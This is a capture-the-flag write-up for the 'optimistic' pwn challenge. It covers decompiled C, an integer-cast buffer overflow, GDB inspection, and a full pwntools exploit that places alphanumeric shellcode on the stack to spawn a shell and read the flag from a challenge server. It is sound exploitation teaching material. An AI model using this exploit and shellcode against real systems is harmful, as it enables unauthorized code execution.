Optimistic
9 minutes to read
We are given a 64-bit binary called optimistic
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
Reverse engineering
If we use Ghidra, we will see the decompiled source code in C for the main
function:
void main() {
int number;
ssize_t read_length;
uint length;
undefined4 local_80;
undefined2 local_7c;
char option;
undefined local_79;
undefined email[8];
undefined age[8];
char name[96];
initialize();
puts("Welcome to the positive community!");
puts("We help you embrace optimism.");
printf("Would you like to enroll yourself? (y/n): ");
number = getchar();
option = (char) number;
getchar();
if (option != 'y') {
puts("Too bad, see you next time :(");
local_79 = 0x6e;
/* WARNING: Subroutine does not return */
exit(0);
}
printf("Great! Here\'s a small welcome gift: %p\n", &stack0xfffffffffffffff8);
puts("Please provide your details.");
printf("Email: ");
read_length = read(0, email, 8);
local_7c = (undefined2) read_length;
printf("Age: ");
read_length = read(0, age, 8);
local_80 = (undefined4) read_length;
printf("Length of name: ");
__isoc99_scanf("%d", &length);
if (64 < (int) length) {
puts("Woah there! You shouldn\'t be too optimistic.");
/* WARNING: Subroutine does not return */
exit(0);
}
printf("Name: ");
read_length = read(0, name, (ulong) length);
length = 0;
while (true) {
if ((int) read_length - 9 <= (int) length) {
puts("Thank you! We\'ll be in touch soon.");
return;
}
number = isalpha((int) name[(int) length]);
if ((number == 0) && (9 < (int) name[(int) length] - 0x30U)) break;
length = length + 1;
}
puts("Sorry, that\'s an invalid name.");
/* WARNING: Subroutine does not return */
exit(0);
}
First of all, we need to enter "y"
to continue with the program. Then, we are given a stack address as a gift. After some data, we are told to enter the length of our name, and it is stored as an integer number.
Buffer Overflow vulnerability
We can see in the code above that name
is a character array of 96 bytes, but we are able to control length
, which is the number of bytes read from stdin
. Notice that length
is int
and then it is casted to ulong
, so we have a Buffer Overflow vulnerability caused by an Integer Overflow vulnerability. For instance, if we enter -1
as length
, it will be interpreted as 0xffffffffffffffff
(casted as ulong
), leading to the Buffer Overflow:
$ ./optimistic
Welcome to the positive community!
We help you embrace optimism.
Would you like to enroll yourself? (y/n): y
Great! Here's a small welcome gift: 0x7ffe68cdb240
Please provide your details.
Email: asdf
Age: asdf
Length of name: -1
Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Thank you! We'll be in touch soon.
zsh: segmentation fault (core dumped) ./optimistic
When the program wants to return from main
, the saved return address which was on the stack now is overwritten with 0x4141414141414141
(our junk data). Since it is not a valid memory address, the program just crashes (segmentation fault).
Buffer Overflow exploitation
First of all, we would like to control the program execution. Since it is a 64-bit binary without canary, the offset is the 96 + 8 = 104
(because after the reserved buffer, we find the old $rbp
value and then the saved return address). So we need exactly 104 bytes to reach the position of the return address that is saved on the stack.
Since NX is disabled, we can enter shellcode on the stack and run it. To do this, we can take advantage of the memory leak and overwrite the return address with a known address. Then, we can enter shellcode to pop a shell.
For instance, we can use msfvenom
:
$ msfvenom -p linux/x64/exec -f py
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 21 bytes
Final size of py file: 117 bytes
buf = b""
buf += b"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50"
buf += b"\x54\x5f\x52\x5e\x6a\x3b\x58\x0f\x05"
Debugging with GDB
We can start with this Python script and debug a bit using GDB:
#!/usr/bin/env python3
from pwn import *
context.binary = 'optimistic'
def get_process():
if len(sys.argv) == 1:
return context.binary.process()
host, port = sys.argv[1].split(':')
return remote(host, int(port))
def main():
p = get_process()
gdb.attach(p, 'break *main+482\ncontinue')
p.sendlineafter(b'Would you like to enroll yourself? (y/n): ', b'y')
p.recvuntil(b'Great! Here\'s a small welcome gift: ')
stack_leak = int(p.recvline().decode(), 16)
log.info(f'Stack leak: {hex(stack_leak)}')
shellcode = b'\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f\x52\x5e\x6a\x3b\x58\x0f\x05'
p.sendafter(b'Email: ', b'asdf')
p.sendafter(b'Age: ', b'qwer')
p.sendlineafter(b'Length of name: ', b'-1')
offset = 104
junk = b'A' * offset
payload = junk
payload += p64(stack_leak)
p.sendafter(b'Name: ', payload)
p.interactive()
if __name__ == '__main__':
main()
$ python3 solve.py
[*] './optimistic'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
[+] Starting local process './optimistic': pid 1333998
[*] running in new terminal: ['/usr/bin/gdb', '-q', './optimistic', '1333998', '-x', '/tmp/pwnra1og2j8.gdb']
[+] Waiting for debugger: Done
[*] Stack leak: 0x7ffda28224b0
[*] Switching to interactive mode
Thank you! We'll be in touch soon.
$
We see that the return address will be 0x7ffda28224b0
, the stack leak:
gef➤ x/i $rip
=> 0x5636b649140b <main+482>: ret
gef➤ x/gx $rsp
0x7ffda28224b8: 0x00007ffda28224b0
gef➤ x/40gx 0x00007ffda28224b0
0x7ffda28224b0: 0x4141414141414141 0x00007ffda28224b0
0x7ffda28224c0: 0x00007f54d463b620 0x00007ffda28225a8
0x7ffda28224d0: 0x0000000100000000 0x00005636b6491229
0x7ffda28224e0: 0x00005636b6491410 0xd1afc7aa11d5fbf4
0x7ffda28224f0: 0x00005636b64910c0 0x00007ffda28225a0
0x7ffda2822500: 0x0000000000000000 0x0000000000000000
0x7ffda2822510: 0x2e5482ae5855fbf4 0x2f066f2ed1bbfbf4
0x7ffda2822520: 0x0000000000000000 0x0000000000000000
0x7ffda2822530: 0x0000000000000000 0x0000000000000001
0x7ffda2822540: 0x00007ffda28225a8 0x00007ffda28225b8
0x7ffda2822550: 0x00007f54d463d190 0x0000000000000000
0x7ffda2822560: 0x0000000000000000 0x00005636b64910c0
0x7ffda2822570: 0x00007ffda28225a0 0x0000000000000000
0x7ffda2822580: 0x0000000000000000 0x00005636b64910ee
0x7ffda2822590: 0x00007ffda2822598 0x000000000000001c
0x7ffda28225a0: 0x0000000000000001 0x00007ffda2822a93
0x7ffda28225b0: 0x0000000000000000 0x00007ffda2822ad0
0x7ffda28225c0: 0x00007ffda2822adb 0x00007ffda2822af2
0x7ffda28225d0: 0x00007ffda2822b0d 0x00007ffda2822b43
0x7ffda28225e0: 0x00007ffda2822b54 0x00007ffda2822b7e
gef➤ x/40gx 0x00007ffda28224b0-104
0x7ffda2822448: 0x0000000072657771 0x4141414141414141
0x7ffda2822458: 0x4141414141414141 0x4141414141414141
0x7ffda2822468: 0x4141414141414141 0x4141414141414141
0x7ffda2822478: 0x4141414141414141 0x4141414141414141
0x7ffda2822488: 0x4141414141414141 0x4141414141414141
0x7ffda2822498: 0x4141414141414141 0x4141414141414141
0x7ffda28224a8: 0x4141414141414141 0x4141414141414141
0x7ffda28224b8: 0x00007ffda28224b0 0x00007f54d463b620
0x7ffda28224c8: 0x00007ffda28225a8 0x0000000100000000
0x7ffda28224d8: 0x00005636b6491229 0x00005636b6491410
0x7ffda28224e8: 0xd1afc7aa11d5fbf4 0x00005636b64910c0
0x7ffda28224f8: 0x00007ffda28225a0 0x0000000000000000
0x7ffda2822508: 0x0000000000000000 0x2e5482ae5855fbf4
0x7ffda2822518: 0x2f066f2ed1bbfbf4 0x0000000000000000
0x7ffda2822528: 0x0000000000000000 0x0000000000000000
0x7ffda2822538: 0x0000000000000001 0x00007ffda28225a8
0x7ffda2822548: 0x00007ffda28225b8 0x00007f54d463d190
0x7ffda2822558: 0x0000000000000000 0x0000000000000000
0x7ffda2822568: 0x00005636b64910c0 0x00007ffda28225a0
0x7ffda2822578: 0x0000000000000000 0x0000000000000000
We are interested to set the address where we will put our shellcode. However, this code will prevent us from entering shellcode:
number = isalpha((int) name[(int) length]);
if ((number == 0) && (9 < (int) name[(int) length] - 0x30U)) break;
length = length + 1;
The function isalpha
will check if a given character is a letter. If not, the program will check if the character is a number. If not, the program exits. We have the chance to enter arbitrary bytes at the end of the payload, but only 8 bytes because of this if
statement:
if ((int) read_length - 9 <= (int) length) {
puts("Thank you! We\'ll be in touch soon.");
return;
}
However, we have 8 bytes in email
and another 8 bytes in age
, which is might be enough space to enter some custom shellcode. Let’s modify the exploit and take a look at GDB:
p.sendafter(b'Email: ', b'AAAAAAAA')
p.sendafter(b'Age: ', b'BBBBBBBB')
p.sendlineafter(b'Length of name: ', b'-1')
offset = 104
junk = b'C' * offset
payload = junk
payload += p64(stack_leak)
p.sendafter(b'Name: ', payload)
p.interactive()
$ python3 solve.py
[*] './optimistic'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
[+] Starting local process './optimistic': pid 1366945
[*] running in new terminal: ['/usr/bin/gdb', '-q', './optimistic', '1366945', '-x', '/tmp/pwnvvchkn1y.gdb']
[+] Waiting for debugger: Done
[*] Stack leak: 0x7ffdd3759580
[*] Switching to interactive mode
Thank you! We'll be in touch soon.
$
gef➤ grep AAAAAAAA
[+] Searching 'AAAAAAAA' in memory
[+] In '[stack]'(0x7ffdd373a000-0x7ffdd375b000), permission=rwx
0x7ffdd3759510 - 0x7ffdd3759547 → "AAAAAAAABBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
gef➤ p/x 0x7ffdd3759580 - 0x7ffdd3759510
$1 = 0x70
Interesting… Let’s analyze the shellcode:
$ pwn disasm -c amd64 $(echo -ne '\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f\x52\x5e\x6a\x3b\x58\x0f\x05' | xxd -p)
0: 48 b8 2f 62 69 6e 2f 73 68 00 movabs rax, 0x68732f6e69622f
a: 99 cdq
b: 50 push rax
c: 54 push rsp
d: 5f pop rdi
e: 52 push rdx
f: 5e pop rsi
10: 6a 3b push 0x3b
12: 58 pop rax
13: 0f 05 syscall
$ echo -ne '\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f\x52\x5e\x6a\x3b\x58\x0f\x05' | xxd
00000000: 48b8 2f62 696e 2f73 6800 9950 545f 525e H./bin/sh..PT_R^
00000010: 6a3b 580f 05 j;X..
Some bytes are allowed to be entered in the C
space. Those that are not allowed, we will need to enter them in the A
and B
spaces, but the shellcode must be reliable.
Let’s start by entering \xcc
(SIGTRAP, a debugging breakpoint) in the A
space and jumping to that address:
p.sendafter(b'Email: ', b'\xccAAAAAAA')
p.sendafter(b'Age: ', b'BBBBBBBB')
p.sendlineafter(b'Length of name: ', b'-1')
offset = 104
junk = b'C' * offset
payload = junk
payload += p64(stack_leak - 0x70)
$ python3 solve.py
[*] './optimistic'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
[+] Starting local process './optimistic': pid 1385841
[*] running in new terminal: ['/usr/bin/gdb', '-q', './optimistic', '1385841', '-x', '/tmp/pwn8149qc_h.gdb']
[+] Waiting for debugger: Done
[*] Stack leak: 0x7ffd5e637ec0
[*] Switching to interactive mode
Thank you! We'll be in touch soon.
$
gef➤ info registers
rax 0x23 0x23
rbx 0x557b9b5d6410 0x557b9b5d6410
rcx 0x7fec92d26077 0x7fec92d26077
rdx 0x0 0x0
rsi 0x7fec92e05723 0x7fec92e05723
rdi 0x7fec92e067e0 0x7fec92e067e0
rbp 0x4343434343434343 0x4343434343434343
rsp 0x7ffd5e637ed0 0x7ffd5e637ed0
r8 0x23 0x23
r9 0x6 0x6
r10 0xfffffffffffff58a 0xfffffffffffff58a
r11 0x246 0x246
r12 0x557b9b5d60c0 0x557b9b5d60c0
r13 0x7ffd5e637fb0 0x7ffd5e637fb0
r14 0x0 0x0
r15 0x0 0x0
rip 0x7ffd5e637e51 0x7ffd5e637e51
eflags 0x246 [ PF ZF IF ]
cs 0x33 0x33
ss 0x2b 0x2b
ds 0x0 0x0
es 0x0 0x0
fs 0x0 0x0
gs 0x0 0x0
k0 0x0 0x0
k1 0x0 0x0
k2 0x0 0x0
k3 0x0 0x0
k4 0x0 0x0
k5 0x0 0x0
k6 0x0 0x0
k7 0x0 0x0
gef➤ x/20gx $rip-1
0x7ffd5e637e50: 0x41414141414141cc 0x4242424242424242
0x7ffd5e637e60: 0x4343434343434343 0x4343434343434343
0x7ffd5e637e70: 0x4343434343434343 0x4343434343434343
0x7ffd5e637e80: 0x4343434343434343 0x4343434343434343
0x7ffd5e637e90: 0x4343434343434343 0x4343434343434343
0x7ffd5e637ea0: 0x4343434343434343 0x4343434343434343
0x7ffd5e637eb0: 0x4343434343434343 0x4343434343434343
0x7ffd5e637ec0: 0x4343434343434343 0x00007ffd5e637e50
0x7ffd5e637ed0: 0x00007fec92e51620 0x00007ffd5e637fb8
0x7ffd5e637ee0: 0x0000000100000000 0x0000557b9b5d6229
There is not enough space to enter the above shellcode (21 bytes) since we only have 16 bytes for arbitrary shellcode. However, we can use an encoder to enter shellcode that is in the valid range of the C
space. There are no available encoders for x86_64 systems:
$ msfvenom --list encoders | grep x64
x64/xor normal XOR Encoder
x64/xor_context normal Hostname-based Context Keyed Payload Encoder
x64/xor_dynamic normal Dynamic key XOR Encoder
x64/zutto_dekiru manual Zutto Dekiru
However, we can find this shellcode, which is alphanumeric and fits in the available space (87 bytes):
XXj0TYX45Pk13VX40473At1At1qu1qv1qwHcyt14yH34yhj5XVX1FK1FSH3FOPTj0X40PP4u4NZ4jWSEW18EF0V
So this is the final payload:
shellcode = b'XXj0TYX45Pk13VX40473At1At1qu1qv1qwHcyt14yH34yhj5XVX1FK1FSH3FOPTj0X40PP4u4NZ4jWSEW18EF0V'
p.sendafter(b'Email: ', shellcode[:8])
p.sendafter(b'Age: ', shellcode[8:16])
p.sendlineafter(b'Length of name: ', b'-1')
offset = 104
payload = shellcode[16:]
payload += b'C' * (offset - len(payload))
payload += p64(stack_leak - 0x70)
Now we have a shell locally:
$ python3 solve.py
[*] './optimistic'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
[+] Starting local process './optimistic': pid 1640072
[*] Stack leak: 0x7ffde8b215b0
[*] Switching to interactive mode
Thank you! We'll be in touch soon.
$ ls
optimistic solve.py
Flag
Let’s try remotely:
$ python3 solve.py 64.227.42.184:30847
[*] './optimistic'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
[+] Opening connection to 64.227.42.184 on port 30847: Done
[*] Stack leak: 0x7ffc8ae208b0
[*] Switching to interactive mode
Thank you! We'll be in touch soon.
$ ls
flag.txt
optimistic
$ cat flag.txt
HTB{be1ng_negat1v3_pays_0ff!}
The full exploit can be found in here: solve.py
.